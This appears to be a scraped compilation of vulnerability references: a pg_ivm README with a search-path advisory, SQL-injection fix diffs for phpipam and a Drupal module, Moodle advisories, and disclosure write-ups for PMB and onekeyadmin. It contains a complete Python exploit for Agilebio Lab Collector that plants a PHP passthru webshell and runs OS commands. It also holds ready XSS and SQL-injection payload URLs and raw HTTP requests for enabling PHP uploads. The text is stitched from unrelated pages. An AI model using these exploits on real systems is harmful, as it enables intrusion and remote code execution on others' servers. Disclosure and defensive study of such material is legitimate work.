Uncontrolled search path element vulnerability exists in pg_ivm versions prior to 1.5.1. When refreshing an IMMV, pg_ivm executes functions without specifying schema names. Under certain conditions, pg_ivm may be tricked to execute unexpected functions from other schemas with the IMMV owner's privilege. If this vulnerability is exploited, an unexpected function provided by an attacker may be executed with the privilege of the materialized view owner.

**pg\_ivm**

The pg_ivm module provides Incremental View Maintenance (IVM) feature for PostgreSQL.

The extension is compatible with PostgreSQL 13, 14, and 15.

**Description**

**Incremental View Maintenance (IVM)** is a way to make materialized views up-to-date in which only incremental changes are computed and applied on views rather than recomputing the contents from scratch as REFRESH MATERIALIZED VIEW does. IVM can update materialized views more efficiently than recomputation when only small parts of the view are changed.

There are two approaches with regard to timing of view maintenance: immediate and deferred. In immediate maintenance, views are updated in the same transaction that its base table is modified. In deferred maintenance, views are updated after the transaction is committed, for example, when the view is accessed, as a response to user command like REFRESH MATERIALIZED VIEW, or periodically in background, and so on. pg_ivm provides a kind of immediate maintenance, in which materialized views are updated immediately in AFTER triggers when a base table is modified.

We call a materialized view supporting IVM an **Incrementally Maintainable Materialized View (IMMV)**. To create IMMV, you have to call create_immv function with a relation name and a view definition query. For example:

SELECT create\_immv('myview', 'SELECT \* FROM mytab');

creates an IMMV with name 'myview' defined as SELECT * FROM mytab. This is corresponding to the following command to create a normal materialized view;

CREATE MATERIALIZED VIEW myview AS SELECT \* FROM mytab;

When an IMMV is created, some triggers are automatically created so that the view's contents are immediately updated when its base tables are modified.

postgres\=# SELECT create\_immv('m', 'SELECT \* FROM t0');
NOTICE:  could not create an index on immv "m" automatically
DETAIL:  This target list does not have all the primary key columns, or this view does not contain DISTINCT clause.
HINT:  Create an index on the immv for efficient incremental maintenance.
 create\_immv 
\--\-----------
           3
(1 row)

postgres\=# SELECT \* FROM m;
 i
\--\-
 1
 2
 3
(3 rows)

postgres\=# INSERT INTO t0 VALUES (4);
INSERT 0 1
postgres\=# SELECT \* FROM m; -- automatically updated
 i
\--\-
 1
 2
 3
 4
(4 rows)

**Installation**

To install pg_ivm, execute this in the module's directory:

If you installed PostgreSQL from rpm or deb, you will need the devel package (for example, postgresql14-devel or postgresql-server-dev-14).

> **Important:** Don't forget to set the PG_CONFIG variable (make PG_CONFIG=...) or the PATH to the pg_config command in case you want to use pg_ivm on a non-default or custom build of PostgreSQL. Read more here.

And, execute CREATE EXTENSION comand.

**RPM packages and yum repository**

RPM packages of pg\_ivm are available from the PostgreSQL yum repository. See the instruction for details. Note that we are not the maintainer of this yum repository and RPMs for pg\_ivm in it may be not always latest.

**Objects**

When pg_ivm is installed, the following objects are created.

**Functions****create\_imm**

Use create_immv function to create IMMV.

    create_immv(immv_name text, view_definition text) RETURNS bigint
    

create_immv defines a new IMMV of a query. A table of the name immv_name is created and a query specified by view_definition is executed and used to populate the IMMV. The query is stored in pg_ivm_immv, so that it can be refreshed later upon incremental view maintenance. create_immv returns the number of rows in the created IMMV.

When an IMMV is created, some triggers are automatically created so that the view's contents are immediately updated when its base tables are modified. In addition, a unique index is created on the IMMV automatically if possible. If the view definition query has a GROUP BY clause, a unique index is created on the columns of GROUP BY expressions. Also, if the view has DISTINCT clause, a unique index is created on all columns in the target list. Otherwise, if the IMMV contains all primary key attributes of its base tables in the target list, a unique index is created on these attributes. In other cases, no index is created.

**refresh\_imm**

Use refresh_immv function to refresh IMMV.

    refresh_immv(immv_name text, with_data bool) RETURNS bigint
    

refresh_immv completely replaces the contents of an IMMV as REFRESH MATERIALIZED VIEW command does for a materialized view. To execute this function you must be the owner of the IMMV. The old contents are discarded.

The with\_data flag is corresponding to WITH [NO] DATA option of REFRESH MATERIALIZED VIEW\` command. If with\_data is true, the backing query is executed to provide the new data, and if the IMMV is unpopulated, triggers for maintaining the view are created. Also, a unique index is created for IMMV if it is possible and the view doesn't have that yet. If with\_data is false, no new data is generated and the IMMV become unpopulated, and the triggers are dropped from the IMMV. Note that unpopulated IMMV is still scannable although the result is empty. This behaviour may be changed in future to raise an error when an unpopulated IMMV is scanned.

**get\_immv\_def**

get_immv_def reconstructs the underlying SELECT command for an IMMV. (This is a decompiled reconstruction, not the original text of the command.)

    get_immv_def(immv regclass) RETURNS text
    

**IMMV metadata catalog**

The catalog pg_ivm_immv stores IMMV information.

Name

Type

Description

immvrelid

regclass

The OID of the IMMV

viewdef

text

Query tree (in the form of a nodeToString() representation) for the view definition

ispopulated

bool

True if IMMV is currently populated

**Example**

In general, IMMVs allow faster updates than REFRESH MATERIALIZED VIEW at the price of slower updates to their base tables. Update of base tables is slower because triggers will be invoked and the IMMV is updated in triggers per modification statement.

For example, suppose a normal materialized view defined as below:

test\=# CREATE MATERIALIZED VIEW mv\_normal AS
        SELECT a.aid, b.bid, a.abalance, b.bbalance
        FROM pgbench\_accounts a JOIN pgbench\_branches b USING(bid);
SELECT 10000000

Updating a tuple in a base table of this materialized view is rapid but the REFRESH MATERIALIZED VIEW command on this view takes a long time:

test\=# UPDATE pgbench\_accounts SET abalance = 1000 WHERE aid = 1;
UPDATE 1
Time: 9.052 ms

test\=# REFRESH MATERIALIZED VIEW mv\_normal ;
REFRESH MATERIALIZED VIEW
Time: 20575.721 ms (00:20.576)

On the other hand, after creating IMMV with the same view definition as below:

    test=# SELECT create_immv('immv',
            'SELECT a.aid, b.bid, a.abalance, b.bbalance
             FROM pgbench_accounts a JOIN pgbench_branches b USING(bid)');
    NOTICE:  created index "immv_index" on immv "immv"
     create_immv 
    -------------
        10000000
    (1 row)
    

updating a tuple in a base table takes more than the normal view, but its content is updated automatically and this is faster than the REFRESH MATERIALIZED VIEW command.

test\=# UPDATE pgbench\_accounts SET abalance = 1234 WHERE aid = 1;
UPDATE 1
Time: 15.448 ms

test\=# SELECT \* FROM immv WHERE aid = 1;
 aid | bid | abalance | bbalance 
\--\---+-----+----------+----------
   1 |   1 |     1234 |        0
(1 row)

An appropriate index on IMMV is necessary for efficient IVM because we need to looks for tuples to be updated in IMMV. If there are no indexes, it will take a long time.

Therefore, when an IMMV is created by the create_immv function, a unique index is created on it automatically if possible. If the view definition query has a GROUP BY clause, a unique index is created on the columns of GROUP BY expressions. Also, if the view has DISTINCT clause, a unique index is created on all columns in the target list. Otherwise, if the IMMV contains all primary key attributes of its base tables in the target list, a unique index is created on these attributes. In other cases, no index is created.

In the previous example, a unique index "immv\_index" is created on aid and bid columns of "immv", and this enables the rapid update of the view. Dropping this index make updating the view take a loger time.

test\=# DROP INDEX immv\_index;
DROP INDEX

test\=# UPDATE pgbench\_accounts SET abalance = 9876 WHERE aid = 1;
UPDATE 1
Time: 3224.741 ms (00:03.225)

**Supported View Definitions and Restriction**

Currently, IMMV's view definition can contain inner joins, DISTINCT clause, some built-in aggregate functions, simple sub-queries in FROM clause, and simple CTE (WITH query). Inner joins including self-join are supported, but outer joins are not supported. Supported aggregate functions are count, sum, avg, min and max. Other aggregates, sub-queries which contain an aggregate or DISTINCT clause, sub-queries in other than FROM clause, window functions, HAVING, ORDER BY, LIMIT/OFFSET, UNION/INTERSECT/EXCEPT, DISTINCT ON, TABLESAMPLE, VALUES, and FOR UPDATE/SHARE can not be used in view definition.

The base tables must be simple tables. Views, materialized views, inheritance parent tables, partitioned tables, partitions, and foreign tables can not be used.

The targetlist cannot contain system columns, columns whose name starts with __ivm_.

Logical replication is not supported, that is, even when a base table at a publisher node is modified, IMMVs at subscriber nodes defined on these base tables are not updated.

**Notes****Aggregates**

Supported aggregate functions are count, sum, avg, min, and max. Currently, only built-in aggregate functions are supported and user defined aggregates cannot be used.

When an IMMV including aggregate is created, some extra columns whose name start with __ivm are automatically added to the target list. __ivm_count__ contains the number of tuples aggregated in each group. In addition, more than one extra columns for each column of aggregated value are added in order to maintain the value. For example, columns named like __ivm_count_avg__ and __ivm_sum_avg__ are added for maintaining an average value. When a base table is modified, the new aggregated values are incrementally calculated using the old aggregated values and values of related extra columns stored in the IMMV.

Note that for min or max, the new values could be re-calculated from base tables with regard to the affected groups when a tuple containing the current minimal or maximal values are deleted from a base table. Therefore, it can takes a long time to update an IMMV containing these functions.

Also, note that using sum or avg on real (float4) type or double precision (float8) type in IMMV is unsafe, because aggregated values in IMMV can become different from results calculated from base tables due to the limited precision of these types. To avoid this problem, use the numeric type instead.

**Restrictions on Aggregate**

If we have a GROUP BY clause, expressions specified in GROUP BY must appear in the target list. This is how tuples to be updated in the IMMV are identified. These attributes are used as scan keys for searching tuples in the IMMV, so indexes on them are required for efficient IVM.

Targetlist cannot contain expressions which contain an aggregate in it.

**Subqueries**

Simple subqueries in FROM clause are supported.

**Restrictions on Subqueries**

Subqueries can be used only in FROM clause. Subqueries in target list or WHERE clause are not supported.

Subqueries containing an aggregate function or DISTINCT are not supported.

**CTE**

Simple CTEs (WITH queries) are supported.

**Restrictions on CTEs**

WITH queries containing an aggregate function or DISTINCT are not supported.

Recursive queries (WITH RECURSIVE) are not allowed. Unreferenced CTEs are not allowed either, that is, a CTE must be referenced at least once in the view definition query.

**DISTINCT**

DISTINCT is allowed in IMMV's definition queries. Suppose an IMMV defined with DISTINCT on a base table containing duplicate tuples. When tuples are deleted from the base table, a tuple in the view is deleted if and only if the multiplicity of the tuple becomes zero. Moreover, when tuples are inserted into the base table, a tuple is inserted into the view only if the same tuple doesn't already exist in it.

Physically, an IMMV defined with DISTINCT contains tuples after eliminating duplicates, and the multiplicity of each tuple is stored in a extra column named __ivm_count__ that is added when such IMMV is created.

**TRUNCATE**

When a base table is truncated, the IMMV is also truncated and the contents become empty if the view definition query does not contain an aggregate without a GROUP BY clause. Aggregate views without a GROUP BY clause always have one row. Therefore, in such cases, if a base table is truncated, the IMMV is simply refreshed instead of being truncated.

**Concurrent Transactions**

Suppose an IMMV is defined on two base tables and each table was modified in different a concurrent transaction simultaneously. In the transaction which was committed first, the IMMV can be updated considering only the change which happened in this transaction. On the other hand, in order to update the IMMV correctly in the transaction which was committed later, we need to know the changes occurred in both transactions. For this reason, ExclusiveLock is held on an IMMV immediately after a base table is modified in READ COMMITTED mode to make sure that the IMMV is updated in the latter transaction after the former transaction is committed. In REPEATABLE READ or SERIALIZABLE mode, an error is raised immediately if lock acquisition fails because any changes which occurred in other transactions are not be visible in these modes and IMMV cannot be updated correctly in such situations. However, as an exception if the IMMV has only one base table and doesn't use DISTINCT or GROUP BY, and the table is modified by INSERT, then the lock held on the IMMV is RowExclusiveLock.

**Row Level Security**

If some base tables have row level security policy, rows that are not visible to the materialized view's owner are excluded from the result. In addition, such rows are excluded as well when views are incrementally maintained. However, if a new policy is defined or policies are changed after the materialized view was created, the new policy will not be applied to the view contents. To apply the new policy, you need to recreate IMMV.

**How to Disable or Enable Immediate Maintenance**

IVM is effective when we want to keep an IMMV up-to-date and small fraction of a base table is modified infrequently. Due to the overhead of immediate maintenance, IVM is not effective when a base table is modified frequently. Also, when a large part of a base table is modified or large data is inserted into a base table, IVM is not effective and the cost of maintenance can be larger than refresh from scratch.

In such situation, we can use refesh_immv function with with_data = falase to disable immediate maintenance before modifying a base table. After a base table modification, call refresh_immvwith with_data = true to refresh the view data and enable immediate maintenance.

**Authors**

IVM Development Group

*   https://github.com/yugo-n
*   https://github.com/thoshiai

**License**

PostgreSQL License

**Copyright**

*   Portions Copyright (c) 1996-2022, PostgreSQL Global Development Group
*   Portions Copyright (c) 2022, IVM Development Group

CVE-2023-23554: GitHub - sraoss/pg_ivm: IVM (Incremental View Maintenance) implementation as a PostgreSQL extension

SQL Injection in GitHub repository phpipam/phpipam prior to v1.5.2.

@@ -673,7 +673,7 @@ public function update\_custom\_field\_definition ($field) {  
\# set type definition and size of needed if($field\['fieldType'\]=="bool" || $field\['fieldType'\]=="text" || $field\['fieldType'\]=="date" || $field\['fieldType'\]=="datetime") { $field\['ftype'\] = $field\['fieldType'\]; } else { $field\['ftype'\] = $field\['fieldType'\]."(".$field\['fieldSize'\].")"; } else { $field\['ftype'\] = $field\['fieldType'\]."( :enumset )"; }  
\# default value null $field\['fieldDefault'\] = is\_blank($field\['fieldDefault'\]) ? NULL : $field\['fieldDefault'\]; @@ -709,6 +709,7 @@ public function update\_custom\_field\_definition ($field) { $params = array(); if (strpos($query, ":default")>0) $params\['default'\] = $field\['fieldDefault'\]; if (strpos($query, ":comment")>0) $params\['comment'\] = $field\['Comment'\]; if (strpos($query, ":enumset")>0) $params\['enumset'\] = $field\['fieldSize'\];  
\# execute try { $res = $this\->Database\->runQuery($query, $params); }

CVE-2023-1211: Bugfix: SQL injection in custom field enum/set types · phpipam/phpipam@16e7a94

A vulnerability was found in Email Registration 5.x-2.1. It has been declared as critical. This vulnerability affects the function email_registration_user of the file email_registration.module. The manipulation of the argument namenew leads to sql injection. The attack can be initiated remotely. Upgrading to version 6.x-1.0 is able to address this issue. The name of the patch is 126c141b7db038c778a2dc931d38766aad8d1112. It is recommended to upgrade the affected component. VDB-222334 is the identifier assigned to this vulnerability.

@@ -13,8 +13,8 @@ function email\_registration\_user($op, &$edit, &$account, $category = NULL) {

// if username generated from email record already exists, append underscore and number eg:(chris\_123)

if (db\_result(db\_query("SELECT count(\*) FROM {users} WHERE uid <> %d AND LOWER(name) = LOWER('%s')", $account->uid, $namenew)) > 0) {

// find the next number available to append to the name

$sql = "SELECT SUBSTRING\_INDEX(name,'\_',-1) FROM {users} WHERE name REGEXP '^%s\_\[0-9\]+$' ORDER BY CAST(SUBSTRING\_INDEX(name,'\_',-1) AS UNSIGNED) DESC LIMIT 1";

$nameidx = db\_result(db\_query($sql, $namenew));

$sql = "SELECT SUBSTRING\_INDEX(name,'\_',-1) FROM {users} WHERE name REGEXP '%s' ORDER BY CAST(SUBSTRING\_INDEX(name,'\_',-1) AS UNSIGNED) DESC LIMIT 1";

$nameidx = db\_result(db\_query($sql, '^'. $namenew .'\_\[0-9\]+$'));

$namenew .= '\_'. ($nameidx + 1);

}

// replace with generated username

CVE-2008-10004: fixed a protential source of SQL injection · drupalprojects/email_registration@126c141

AgileBio Electronic Lab Notebook v4.234 was discovered to contain a local file inclusion vulnerability.

    # Exploit Title: Agilebio Lab Collector Electronic Lab Notebook Remote Code Execution# Date: 2023-02-28# Exploit Author: Anthony Cole# Vendor Homepage: https://labcollector.com/labcollector-lims/add-ons/eln-electronic-lab-notebook/# Version: v4.234# Contact: http://twitter.com/acole76# Website: http://twitter.com/acole76# Tested on: PHP/MYSQL# CVE: CVE-2023-24217# Category: webapps#   # Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system.#  from argparse import ArgumentParserfrom requests import Sessionfrom random import choicefrom string import ascii_lowercase, ascii_uppercase, digitsimport refrom base64 import b64encodefrom urllib.parse import quote_plussess:Session = Session()cookies = {}headers = {}state = {}def random_string(length:int) -> str:    return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length))def login(base_url:str, username:str, password:str) -> bool:    data = {"login": username, "pass": password, "Submit":"", "action":"login"}    headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile"    res = sess.post(f"{base_url}/login.php", data=data, headers=headers)    if("My profile" in res.text):        return res.text    else:        return None    def logout(base_url:str) -> bool:    headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update"    sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers)def extract_field_value(contents, name):    value = re.findall(f'name="{name}" value="(.*)"', contents)    if(len(value)):        return value[0]    else:        return ""def get_profile(html:str):    return {        "contact_name": extract_field_value(html, "contact_name"),        "contact_lab": extract_field_value(html, "contact_lab"),        "contact_address": extract_field_value(html, "contact_address"),        "contact_city": extract_field_value(html, "contact_city"),        "contact_zip": extract_field_value(html, "contact_zip"),        "contact_country": extract_field_value(html, "contact_country"),        "contact_tel": extract_field_value(html, "contact_tel"),        "contact_email": extract_field_value(html, "contact_email")    }def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool:    headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update"    res = sess.post(f"{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers)    return Truedef execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str):    session_file = sess.cookies.get("PHPSESSID")    headers["Referer"] = f"{base_url}/login.php?%2F"    page = f"../../../../../..{session_path}/sess_{session_file}"    res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers)    return parse_output(res.text, wrapper)def exploit(args) -> None:    wrapper = random_string(5)    param = random_string(3)    html = login(args.url, args.login_username, args.login_password)        if(html == None):        print("unable to login")        return False        clean = get_profile(html)    data = get_profile(html)    tag = b64encode(wrapper.encode()).decode()    payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>"            data["contact_name"] = payload #inject payload in name field    if(update_profile(args.url, wrapper, param, data)):        login(args.url, args.login_username, args.login_password) # reload the session w/ our payload        print(execute_command(args.url, wrapper, param, args.sessions, args.cmd))        update_profile(args.url, wrapper, param, clean) # revert the profile        logout(args.url)    def parse_output(contents, wrapper) -> None:    matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL)    if(len(matches)):        return matches[0]        return Nonedef main() -> None:    parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217")    parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.")    parser.add_argument("--login-username", "-lu", required=True, help="Username.")    parser.add_argument("--login-password", "-lp", required=True, help="Password.")    parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.")    parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.")        args = parser.parse_args()    if(args.url.endswith("/")):        args.url = args.url[:-1]    if(args.sessions.endswith("/")):        args.sessions = args.sessions[:-1]    exploit(args)    passif(__name__ == "__main__"):    main()

CVE-2023-24217: Agilebio Lab Collector 4.234 Remote Code Execution ≈ Packet Storm

In Moodle, an SQL injection risk was identified in the library fetching a user's recent courses.

**Moodle SQL Injection vulnerability**

High severity GitHub Reviewed Published Mar 6, 2023 to the GitHub Advisory Database • Updated Mar 7, 2023

GHSA-f46j-r7q3-6cm2: Moodle SQL Injection vulnerability

In Moodle, an SQL injection risk was identified in the library fetching a user's enrolled courses.

GHSA-qc86-vgf2-6fq6: Moodle SQL Injection vulnerability

CVE-2021-36393

PMB v7.4.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the query parameter at /admin/convert/export_z3950.php.

To search these vulnerabilities, I use the docker https://github.com/jperon/pmb/ and I simply change the URL in the Dockerfile to match the latest version (7.4.6).

**PMB 7.4.6 - Reflected XSS - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : XSS Reflected (Unauthenticated)
*   CWE-79

**Description**

The web app incorrectly neutralizes user-controllable input before it is placed in output. This allows an attacker to make a Reflected XSS on /pmb/admin/convert/export_z3950_new.php and /pmb/admin/convert/export_z3950.php endpoint via the same query parameter.

**Exploitation**

1.  Go to http://website.com/pmb/admin/convert/export_z3950_new.php or http://website.com/pmb/admin/convert/export_z3950.php
2.  Set parameter command to search and query to a JavaScript payload that end by =or (needed to bypass filter).
3.  Trigger your Reflected XSS: http://website.com/pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or

**PoC**

Here is an example with an alert box :

**Remediation**

Sanitize the query parameter with htlmentities function.

**PMB 7.4.6 - SQL Injection - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : SQL Injection (Unauthenticated)
*   CWE-89

**Description**

The web app incorrectly neutralizes user-controllable input before it is placed in an SQL Query. This allows an attacker to make a SQL Injection on /pmb/edit.php endpoint via the user parameter. This SQL Injection can lead to an account takeover if the SESSID cookie of the admin account is extracted.

**Exploitation**

1.  Go to http://website.com/pmb/edit.php
2.  Set parameter action=whatever&dest=TABLEAUCSV and user to your SQL payload %27%20OR%201=1;%23&password=password
3.  Trigger your SQL Injection: http://website.com/pmb/edit.php?action=whatever&dest=TABLEAUCSV&user=%27%20OR%201=1;%23&password=password

**PoC**

Here is an example of a simple bypass :

**Remediation**

Use prepared SQL query.

**PMB 7.4.6 - Unrestricted File Upload - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : Unrestricted File Upload (Authenticated)
*   CWE-434

**Description**

The web app allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment or overwrite configuration files. An attacker can host malicious files (ending with #data-section to make simple the exploitation of the RCE, see the next section).

**Exploitation**

1.  Go to http://website.com/pmb/camera_upload.php
2.  Send a POST request with the parameters upload_filename that is the name of the file you want to upload and imgBase64 the file content to upload.
3.  To bypass the filter in place (image checking), your file need to starts with GIF89a.

**PoC**

Here is an example of a file upload :

**Remediation**

Check the extension of each file. DO NOT trust user input, and generate a random name for each file uploaded.

**PMB 7.4.6 - Remote Code Execution - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : XSS Reflected (Authenticated)
*   CWE-94

**Description**

The web app incorrectly neutralizes user-controllable input before it is placed in exec function. This allows an attacker to execute a shell command through the parameter decompress.

**Exploitation**

1.  Go to http://website.com/pmb/admin/sauvegarde/restaure_act.php
2.  filename parameter need to point to a file that ends with #data-section. The web app use fopen so it's possible to pass a URL to this parameter.
3.  compress parameter need to be 1.
4.  decompress_type need to be external.
5.  decompress it's your shell command. That can the id command.

**PoC**

Here is an example of a blind RCE :

**Remediation**

Never trust user input and if possible do not decompress file with any external command that are controlled by user input.

**PMB 7.4.6 - Open Redirect - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : Open Redirect (Unauthenticated)
*   CWE-601

**Description**

The web app accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

**Exploitation**

1.  Go to http://website.com/pmb/opac_css/pmb.php
2.  Set from parameter to empty.
3.  url parameter to the URL you want to redirect to.
4.  hash parameter to the md5 of your url parameter.

**PoC**

Here is an example of an Open Redirect :

**Remediation**

Check the domain with a whitelist.

**PMB 7.4.6 - SQL Injection - CVE-XXXX**

*   Affected version : 7.4.6
*   Vulnerability Type : SQL Injection (Unauthenticated)
*   CWE-89

**Description**

The web app incorrectly neutralizes user-controllable input before it is placed in an SQL Query. This allows an attacker to make a SQL Injection on /pmb/opac_css/export.php endpoint via the notice_id parameter. This SQL Injection can lead to an account takeover if the SESSID cookie of the admin account can be extracted.

**Exploitation**

1.  Go to http://website.com/pmb/opac_css/export.php
2.  Set action parameter to export.
3.  notice_id parameter need to start by es after that you can add your SQL payload.

**PoC**

Here is an example of an SQL Injection :

**Remediation**

Use prepared SQL Query or add simple quote in this specific SQL query.

CVE-2023-24737: CVE/PMB at main · AetherBlack/CVE

An arbitrary file upload vulnerability in the component /admin1/config/update of onekeyadmin v1.3.9 allows attackers to execute arbitrary code via a crafted PHP file.

Vulnerability affects product:onekeyadmin  
Vulnerability affects version 1.3.9  
Vulnerability type:Remote code execution  
Vulnerability Details：  
Remote code execution caused by uploading arbitrary files in the background

Vulnerability location  
Vulnerability occurs in  
app\\admin\\controller\\File#upload Although there are restrictions on ext  
  
but we found  
The app\\admin\\controller\\Config#update method can update the limit  
  
  
Vulnerability recurrence  
Conditions Admin  
poc  
The first step is to update the configuration to allow uploading php files  
\`POST /admin1/config/update HTTP/1.1  
Host: 192.168.3.129:8091  
Content-Length: 398  
Accept: _/_  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Origin: http://192.168.3.129:8091  
Referer: http://192.168.3.129:8091/admin1/config/index  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: .AspNetCore.Antiforgery.WE9Ryc20IQg=CfDJ8HxjCh0oOylDk40Utlg0kuUFWVLtvNW\_C4pGl8LD435wIbnnMrZdOHOVRm58Tf9ea-RLT8Cp1rFj-RWlZ5XrTw9-pVKvbqtZLLUaL1326gsyfJyfQ4k6KDwnwVkIpwADhj\_KGa\_UpcDu8IqL7EsVtWw; .AspNetCore.Session=CfDJ8HxjCh0oOylDk40Utlg0kuXb68MZjsW%2FxifhC6RHBoXE9qf6bZAULAztKWrxdQ9IBGV%2FMomSXYW%2BGJr9gVN1G67kZ5ZHUvzZTEMIYQoRouYf9upg6F4i%2BhutGrGde7h3SIdWEXSN5b50ouWrN9AG8MmS%2FGz8y0InZBJWSgEn5O55; .AspNetCore.Cookies=CfDJ8HxjCh0oOylDk40Utlg0kuXw6Bar2FloCPnRmIK8z27i1l1eQZE9H20ZfZqx9xSA5gVSrZS5hfpqeu4tILEhHunDaAOIqfEmmxsRNV2SMHnwXt\_-X0kdVf67A8e1MWMxP-p-tuJZSsa7zVQwOFqTVBFHpgk2dGT3N2U0Th0WR3lQUMdM42wC-XbWYchKNG\_fiMCNOPg2MXOFaBmuPreHzuI2wxc-a8KiA7afrdzzz4BnurbEbl8aR8DL0WYq8jFHxZdo1RwJwXULO2qvHYIQzgjZvELBShr4j8C6FJ82VBL5Gq3zFSHAJZ0ddy2q9M0cLUVM4alP8kmxfwfeaVHMZR1cS3\_WwDQz5hvGNQuVwIijYdb4HUUpYTKZh2hs\_j-o0joMSDe7mdS\_3rTvyQ5errD\_GkyZZnZL7qZ2jydHhlZMa2vPLOHmLFan6WXhtTk0E\_1-zYB117H7tFTA\_jJGaNrPVYEuQmmSuBf3kwlWwV1TfGQYL7dPbZDscJdMhn34YnL3LvBlWmY6wRO1ZkZrLmRSsIzcWL7PKHaELAXf8VHz; PHPSESSID=c54fdf181caff75fbd613da826c6e9ae  
Connection: close

{"title":"涓婁紶闄愬埗","name":"upload","value":{"admin":{"ext":{"image":"png,jpg,jpeg,bmp,gif,ico","video":"mp4","audio":"mp3","word":"docx,doc","other":"swf,psd,css,js,html,exe,dll,zip,rar,ppt,pdf,xlsx,xls,txt,torrent,dwt,sql,svg,php"},"size":{"image":10485760,"video":104857600,"audio":104857600,"other":104857600,"word":104857600}},"index":{"ext":{"image":"png,jpg"},"size":{"image":2097152}}}}<img width="980" alt="image" src="https://user-images.githubusercontent.com/122217858/211447647-7117f5e5-30ef-4b7e-a730-02e0c5862a2d.png"> The second step is to upload malicious filesPOST /admin1/file/upload HTTP/1.1  
Host: 192.168.3.129:8091  
Content-Length: 280  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryARP8fRC2kb4GP3oP  
Accept: _/_  
Origin: http://192.168.3.129:8091  
Referer: http://192.168.3.129:8091/admin1/file/index  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie:PHPSESSID=c54fdf181caff75fbd613da826c6e9ae  
Connection: close

\------WebKitFormBoundaryARP8fRC2kb4GP3oP  
Content-Disposition: form-data; name="name"

templatex  
\------WebKitFormBoundaryARP8fRC2kb4GP3oP  
Content-Disposition: form-data; name="file"; filename="1.php"  
Content-Type: text/php

\------WebKitFormBoundaryARP8fRC2kb4GP3oP--  
\`

Tag

#sql